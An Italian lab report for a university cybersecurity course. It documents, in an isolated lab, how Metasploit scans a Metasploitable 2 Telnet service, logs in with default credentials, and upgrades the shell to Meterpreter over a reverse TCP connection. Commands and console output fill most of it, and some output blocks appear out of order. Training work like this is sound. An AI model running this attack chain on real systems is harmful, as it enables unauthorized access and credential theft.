

Relazione di Laboratorio: Analisi e Exploitation del Servizio Telnet tramite Metasploit Framework

Corso: Cybersecurity e Penetration Testing

Ambiente: Laboratorio Didattico Controllato

Data: 21 Luglio 2026

1. Introduzione

1.1 Scopo del Documento

Il presente rapporto documenta un'esercitazione pratica di ethical hacking, condotta nel rispetto dei principi deontologici e legali che regolano la sicurezza informatica. L'obiettivo primario consiste nell'illustrare, con rigore metodologico, le fasi di analisi e exploitation di un servizio Telnet vulnerabile, evidenziando le criticità di sicurezza associate all'uso di protocolli non crittografati e all'adozione di credenziali predefinite.

1.2 Premessa Etica e Legale

È doveroso precisare che l'intera attività descritta nel seguito è stata eseguita in un ambiente laboratoristico completamente isolato, costituito da macchine virtuali dedicate esclusivamente a fini didattici. Non è stato effettuato alcun tentativo di accesso, scansione o manipolazione di sistemi al di fuori del perimetro del laboratorio. L'esercitazione si inserisce nel contesto formativo di un corso universitario di cybersecurity, con l'intento esclusivo di formare competenze nel riconoscimento e nella mitigazione delle vulnerabilità.

1.3 Struttura della Relazione

Il documento è articolato in quattro sezioni operative, seguite da un'analisi critica dei rischi e dalle relative contromisure. Ciascuna fase è corredata da riferimenti agli screenshot acquisiti durante l'esercitazione, con didascalie descrittive che ne chiariscono il contenuto tecnico.

2. Contesto e Ambiente di Laboratorio

2.1 Architettura del Laboratorio

L'ambiente di test è stato configurato secondo le seguenti specifiche:
Fogli di calcolo

Componente	Descrizione	Indirizzo IP
Macchina Attaccante	Kali Linux con Metasploit Framework	192.168.50.100
Macchina Target	Metasploitable 2 (Ubuntu 8.04)	192.168.50.101

La topologia di rete è stata realizzata in modalità host-only, garantendo l'isolamento completo del traffico di laboratorio dall'infrastruttura di rete istituzionale.

2.2 Strumenti Utilizzati

- **Metasploit Framework (msfconsole):** piattaforma integrata per lo sviluppo, il test e l'esecuzione di exploit;
- **Moduli Metasploit:** `auxiliary/scanner/telnet/telnet_version`,
`auxiliary/scanner/telnet/telnet_login`,
`post/multi/manage/shell_to_meterpreter`;

- **Metasploitable 2**: macchina virtuale progettata per la formazione in sicurezza informatica, contenente vulnerabilità intenzionali.

2.3 Il Protocollo Telnet

Telnet (Telecommunication Network) è un protocollo di rete definito nella RFC 854, operante sulla porta TCP 23. Consente l'accesso remoto a sistemi tramite interfaccia a riga di comando. La criticità fondamentale di Telnet risiede nella trasmissione in chiaro di tutti i dati, inclusi le credenziali di autenticazione, rendendo il protocollo intrinsecamente insicuro e sostituito, nelle moderne infrastrutture, da SSH (Secure Shell).

3. Fase 1: Ricognizione e Scansione del Servizio Telnet

3.1 Obiettivi

La fase iniziale è finalizzata alla verifica dell'esposizione del servizio Telnet sulla macchina target e all'identificazione della versione del software in esecuzione, al fine di raccogliere informazioni utili per le fasi successive.

3.2 Metodologia

Si è proceduto all'utilizzo del modulo `auxiliary/scanner/telnet/telnet_version` di Metasploit, configurando il parametro `RHOSTS` con l'indirizzo IP della macchina target.

3.3 Esecuzione e Output

Dopo l'avvio di `msfconsole`, è stato selezionato il modulo di scansione mediante il comando:

```
bash
```

```
use auxiliary/scanner/telnet/telnet_version
```

È stata visualizzata la configurazione dei parametri operativi:

```

msf > use auxiliary/scanner/telnet/telnet_version
msf auxiliary(scanner/telnet/telnet_version) > show options

Module options (auxiliary/scanner/telnet/telnet_version):

  Name      Current Setting  Required  Description
  --      -
  PASSWORD  no               no        The password for the specified username
  RHOSTS    yes              yes        The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT     23               yes        The target port (TCP)
  THREADS   1                yes        The number of concurrent threads (max one per host)
  TIMEOUT   30               yes        Timeout for the Telnet probe
  USERNAME  no               no        The username to authenticate as

View the full module info with the info, or info -d command.

msf auxiliary(scanner/telnet/telnet_version) > set rhost 192.168.50.101
rhost => 192.168.50.101
msf auxiliary(scanner/telnet/telnet_version) > exploit
[*] 192.168.50.101:23 - 192.168.50.101:23 TELNET
  \x0a
  \x0aWarning: Never expose this VM to an untrusted network!\x0aContact: msfdev[at]metasploit.com\x0a\x0aLogin with msfadmin/msfadmin to get started\x0a\x0a\x0ametasploitable login:
  [*] 192.168.50.101:23 - Scanned 1 of 1 hosts (100% complete)
  [*] Auxiliary module execution completed
msf auxiliary(scanner/telnet/telnet_version) >

```

Visualizzazione delle opzioni del modulo `auxiliary/scanner/telnet/telnet_version` mediante il comando `show options`. Si evidenziano i parametri configurabili, tra cui `RHOSTS` (obbligatorio), `RPORT` (valore predefinito 23) e `TIMEOUT`.

Successivamente, è stato configurato il target e avviata la scansione:

bash

set rhost 192.168.50.101

exploit

```

vulnerable
msfadmin@metasploitable:~$ ^Z
Background session 1? [y/N] y
msf auxiliary(scanner/telnet/telnet_login) > use post/multi/manage/shell_to_meterpreter
msf post(multi/manage/shell_to_meterpreter) > show options

Module options (post/multi/manage/shell_to_meterpreter):

  Name      Current Setting  Required  Description
  --      -
  HANDLER   true             yes        Start an exploit/multi/handler to receive the connection
  LHOST     no               no        IP of host that will receive the connection from the payload (Will try to auto detect).
  LPORT     4433             yes        Port for payload to connect to.
  SESSION   yes              yes        The session to run this module on

View the full module info with the info, or info -d command.

```

Output dell'esecuzione del modulo `telnet_version`. Il servizio ha risposto sulla porta 23, restituendo il banner di benvenuto di Metasploitable, che include un avviso di sicurezza e le credenziali predefinite `msfadmin:msfadmin`.

3.4 Analisi dei Risultati

La scansione ha confermato l'esposizione attiva del servizio Telnet sulla porta 23. Il banner di benvenuto ha fornito informazioni critiche, inclusa la coppia di credenziali predefinite, rappresentando una vulnerabilità di configurazione grave. La risposta del server ha evidenziato inoltre l'assenza di meccanismi di protezione contro la divulgazione di informazioni sensibili.

4. Fase 2: Autenticazione e Stabilimento della Sessione

4.1 Obiettivi

La seconda fase è mirata all'ottenimento di un accesso interattivo al sistema target, sfruttando le credenziali deboli identificate nella fase precedente.

4.2 Metodologia

È stato impiegato il modulo `auxiliary/scanner/telnet/telnet_login`, configurando i parametri di autenticazione e l'indirizzo del target. L'opzione `STOP_ON_SUCCESS` è stata impostata su `true` per interrompere il processo di brute-force al primo successo.

4.3 Esecuzione e Output

```
msf auxiliary(scanner/telnet/telnet_login) > set username msfadmin
username => msfadmin
msf auxiliary(scanner/telnet/telnet_login) > set password msfadmin
password => msfadmin
msf auxiliary(scanner/telnet/telnet_login) > set rhost 192.168.50.101
rhost => 192.168.50.101
msf auxiliary(scanner/telnet/telnet_login) > set stop_on_success true
stop_on_success => true
msf auxiliary(scanner/telnet/telnet_login) > show options

Module options (auxiliary/scanner/telnet/telnet_login):



| Name             | Current Setting | Required | Description                                                                                            |
|------------------|-----------------|----------|--------------------------------------------------------------------------------------------------------|
| ANONYMOUS_LOGIN  | false           | yes      | Attempt to login with a blank username and password                                                    |
| BLANK_PASSWORDS  | false           | no       | Try blank passwords for all users                                                                      |
| BRUTEFORCE_SPEED | 5               | yes      | How fast to bruteforce, from 0 to 5                                                                    |
| CreateSession    | true            | no       | Create a new session for every successful login                                                        |
| DB_ALL_CREDS     | false           | no       | Try each user/password couple stored in the current database                                           |
| DB_ALL_PASS      | false           | no       | Add all passwords in the current database to the list                                                  |
| DB_ALL_USERS     | false           | no       | Add all users in the current database to the list                                                      |
| DB_SKIP_EXISTING | none            | no       | Skip existing credentials stored in the current database (Accepted: none, user, user&realm)            |
| PASSWORD         | msfadmin        | no       | A specific password to authenticate with                                                               |
| PASS_FILE        |                 | no       | File containing passwords, one per line                                                                |
| RHOSTS           | 192.168.50.101  | yes      | The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html |
| RPORT            | 23              | yes      | The target port (TCP)                                                                                  |
| STOP_ON_SUCCESS  | true            | yes      | Stop guessing when a credential works for a host                                                       |
| THREADS          | 1               | yes      | The number of concurrent threads (max one per host)                                                    |
| USERNAME         | msfadmin        | no       | A specific username to authenticate as                                                                 |
| USERPASS_FILE    |                 | no       | File containing users and passwords separated by space, one pair per line                              |
| USER_AS_PASS     | false           | no       | Try the username as the password for all users                                                         |
| USER_FILE        |                 | no       | File containing usernames, one per line                                                                |
| VERBOSE          | true            | yes      | Whether to print output for all attempts                                                               |



View the full module info with the info, or info -d command.
```

`msfadmin:msfadmin`, impostazione del target `192.168.50.101` e attivazione dell'opzione `STOP_ON_SUCCESS` per ottimizzare il processo di autenticazione. `post/multi/manage/shell_to_meterpreter`, utilizzato nella fase successiva per l'upgrade della sessione. Si notano i parametri `LHOST`, `LPORT` e `SESSION`.

```
msf auxiliary(scanner/telnet/telnet_login) > exploit
[*] 192.168.50.101:23 - No active DB -- Credential data will not be saved!
[*+] 192.168.50.101:23 - 192.168.50.101:23 - Login Successful: msfadmin:msfadmin
[*] 192.168.50.101:23 - Attempting to start session 192.168.50.101:23 with msfadmin:msfadmin
[*] Command shell session 1 opened (192.168.50.100:44745 -> 192.168.50.101:23) at 2026-07-21 15:04:00 +0200
[*] 192.168.50.101:23 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/telnet/telnet_login) > sessions

Active sessions



| Id | Name | Type  | Information                                  | Connection                                                 |
|----|------|-------|----------------------------------------------|------------------------------------------------------------|
| 1  |      | shell | TELNET msfadmin:msfadmin (192.168.50.101:23) | 192.168.50.100:44745 -> 192.168.50.101:23 (192.168.50.101) |


```

Output dell'esecuzione del modulo `telnet_login`. L'autenticazione è avvenuta con successo (`Login Successful: msfadmin:msfadmin`), con apertura di una sessione di

comando shell (ID: 1) sulla connessione 192.168.50.100:44745 → 192.168.50.101:23.

```
msf auxiliary(scanner/telnet/telnet_login) > sessions -i 1
[*] Starting interaction with 1...

msfadmin@metasploitable:~$ ls
ls
vulnerable
msfadmin@metasploitable:~$
```

Interazione con la sessione attiva (ID: 1) mediante il comando `sessions -i 1`. Esecuzione del comando `ls` che ha restituito la directory `vulnerable`, confermando l'accesso effettivo al filesystem del sistema target.

4.4 Analisi dei Risultati

L'autenticazione è stata ottenuta senza difficoltà, confermando la gravità della vulnerabilità legata all'uso di credenziali predefinite. La sessione shell ottenuta fornisce un accesso diretto al sistema operativo, con privilegi equivalenti a quelli dell'utente `msfadmin`.

L'assenza di meccanismi di rilevamento delle intrusioni ha permesso l'accesso senza alcuna contromisura da parte del sistema target.

5. Fase 3: Gestione e Interazione con le Sessioni Attive

5.1 Obiettivi

Verificare lo stato delle sessioni attive all'interno del framework Metasploit e stabilire un'interazione diretta con la sessione compromessa.

5.2 Metodologia

È stato utilizzato il comando `sessions` per elencare le sessioni attive, seguito dal comando `sessions -i <ID>` per interagire con la sessione desiderata.

5.3 Esecuzione e Output

L'elenco delle sessioni attive è stato visualizzato mediante:

bash

sessions

L'output ha confermato la presenza di una sessione shell attiva (ID: 1), con le seguenti caratteristiche:

Fogli di calcolo

ID	Tipo	Informazione	Connessione
1	shell	TELNET msfadmin:msfadmin (192.168.50.101:23)	192.168.50.100:44745 → 192.168.50.101:23

L'interazione è stata avviata con:

bash

sessions -i 1

5.4 Analisi dei Risultati

La gestione delle sessioni in Metasploit si rivela uno strumento fondamentale per il controllo di sistemi compromessi durante un assessment di sicurezza. La sessione shell, pur funzionale, presenta limitazioni intrinseche: manca di funzionalità avanzate come il caricamento/scaricamento di file nativo, la migrazione tra processi e la persistenza automatica. Tali limitazioni giustificano l'upgrade a una sessione Meterpreter, descritto nella fase successiva.

6. Fase 4: Upgrade della Sessione a Meterpreter

6.1 Obiettivi

Migliorare le capacità operative della sessione ottenuta, trasformando la shell Telnet in una sessione Meterpreter, che offre un set di funzionalità esteso e maggiore flessibilità operativa.

6.2 Metodologia

La procedura ha previsto i seguenti passaggi:

1. **Background della sessione:** la sessione shell è stata messa in background mediante la combinazione di tasti **Ctrl+Z**, confermando con **y**;
2. **Selezione del modulo di upgrade:** è stato caricato il modulo `post/multi/manage/shell_to_meterpreter`;
3. **Configurazione dei parametri:** sono stati impostati **LHOST** (indirizzo dell'attaccante), **LPORT** (porta di ascolto) e **SESSION** (ID della sessione da upgradare);
4. **Esecuzione:** è stato avviato l'exploit per stabilire la nuova sessione Meterpreter.

6.3 Esecuzione e Output

```
msf post(multi/manage/shell_to_meterpreter) > set lhost 192.168.50.100
lhost => 192.168.50.100
msf post(multi/manage/shell_to_meterpreter) > set session 1
session => 1
msf post(multi/manage/shell_to_meterpreter) > show options

Module options (post/multi/manage/shell_to_meterpreter):
```

Name	Current Setting	Required	Description
HANDLER	true	yes	Start an exploit/multi/handler to receive the connection
LHOST	192.168.50.100	no	IP of host that will receive the connection from the payload (Will try to auto detect).
LPORT	4433	yes	Port for payload to connect to.
SESSION	1	yes	The session to run this module on

View the full module info with the `info`, or `info -d` command.

Configurazione del modulo `post/multi/manage/shell_to_meterpreter` con i parametri `LHOST` (192.168.50.100), `LPORT` (4433) e `SESSION` (1). Il parametro `HANDLER` è impostato su `true` per avviare automaticamente il listener.

```
msf post(multi/manage/shell_to_meterpreter) > exploit
[!] SESSION may not be compatible with this module:
[!] * Unknown session platform. This module works with: Linux, OSX, Unix, Solaris, BSD, Windows.
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.50.100:4433
[*] Sending stage (1062760 bytes) to 192.168.50.101
[*] Meterpreter session 2 opened (192.168.50.100:4433 → 192.168.50.101:34269) at 2026-07-21 15:07:05 +0200
[*] Command stager progress: 100.00% (773/773 bytes)
[*] Post module execution completed
msf post(multi/manage/shell_to_meterpreter) > sessions

Active sessions

```

Id	Name	Type	Information	Connection
1	shell		TELNET msfadmin:msfadmin (192.168.50.101:23)	192.168.50.100:44745 → 192.168.50.101:23 (192.168.50.101)
2	meterpreter	x86/linux	msfadmin @ metasploitable.localdomain	192.168.50.100:4433 → 192.168.50.101:34269 (192.168.50.101)

Output dell'esecuzione del modulo `shell_to_meterpreter`. È stata avviata una reverse TCP handler sulla porta 4433, seguita dall'invio del payload (1062760 bytes). La sessione Meterpreter (ID: 2) è stata aperta con successo. Il comando `sessions` finale conferma la presenza di due sessioni: la shell Telnet originale (ID: 1) e la nuova sessione Meterpreter (ID: 2, tipo x86/linux).

6.4 Analisi dei Risultati

L'upgrade a Meterpreter è stato completato con successo, come attestato dall'apertura della sessione 2. La sessione Meterpreter offre vantaggi operativi significativi rispetto alla shell Telnet:

- **Payload stageless/staged:** supporto per payload avanzati con funzionalità estese;
- **Comandi nativi:** `download`, `upload`, `execute`, `migrate`, `hashdump`;
- **Persistenza:** capacità di mantenere l'accesso anche in caso di interruzioni della connessione;
- **Cifratura:** le comunicazioni Meterpreter possono essere cifrate, a differenza del traffico Telnet in chiaro.

È opportuno notare che il modulo ha generato un warning relativo alla piattaforma sconosciuta della sessione, che non ha impedito il corretto completamento dell'operazione.

7. Considerazioni Finali e Lezioni Apprese

7.1 Riflessioni Metodologiche

L'esercitazione condotta ha confermato la criticità della catena di vulnerabilità che, partendo da un servizio obsoleto e mal configurato, conduce al completo compromesso di un sistema. La metodologia adottata, basata sul framework Metasploit, ha dimostrato l'importanza di un approccio strutturato e documentato nel penetration testing, in cui ogni fase è finalizzata alla raccolta di evidenze utili per la successiva mitigazione.

7.2 Lezioni Apprese

1. **La sicurezza è un processo, non un prodotto:** la vulnerabilità del servizio Telnet non risiede in un bug software, ma in una scelta progettuale obsoleta e in una configurazione negligente. La sicurezza richiede un impegno continuo di valutazione e aggiornamento.
2. **L'importanza della difesa in profondità:** nessun singolo controllo di sicurezza è sufficiente. La protezione efficace richiede l'integrazione di controlli tecnici, organizzativi e procedurali.
3. **Il valore formativo dell'ethical hacking:** la comprensione delle tecniche di attacco è condizione necessaria per progettare difese efficaci. L'esercitazione in ambienti controllati rappresenta uno strumento insostituibile per la formazione dei professionisti della cybersecurity.
4. **La responsabilità etica:** la conoscenza delle tecniche di exploitation impone una responsabilità etica e legale nel loro utilizzo, limitato esclusivamente a scenari autorizzati e finalizzati al miglioramento della sicurezza.

7.3 Conclusione

Il panorama delle minacce informatiche evolve con rapidità costante, rendendo indispensabile l'aggiornamento continuo delle competenze e l'adozione di framework di sicurezza resilienti. L'esercitazione descritta nel presente documento, pur condotta in un ambiente artificiale, riproduce fedelmente dinamiche di attacco reali, evidenziando come anche vulnerabilità apparentemente banali possano condurre a compromissioni totali. La formazione del personale, l'implementazione di architetture Zero Trust e l'investimento in tecnologie di rilevamento e risposta rappresentano i pilastri fondamentali per la costruzione di un'organizzazione resilientemente sicura.
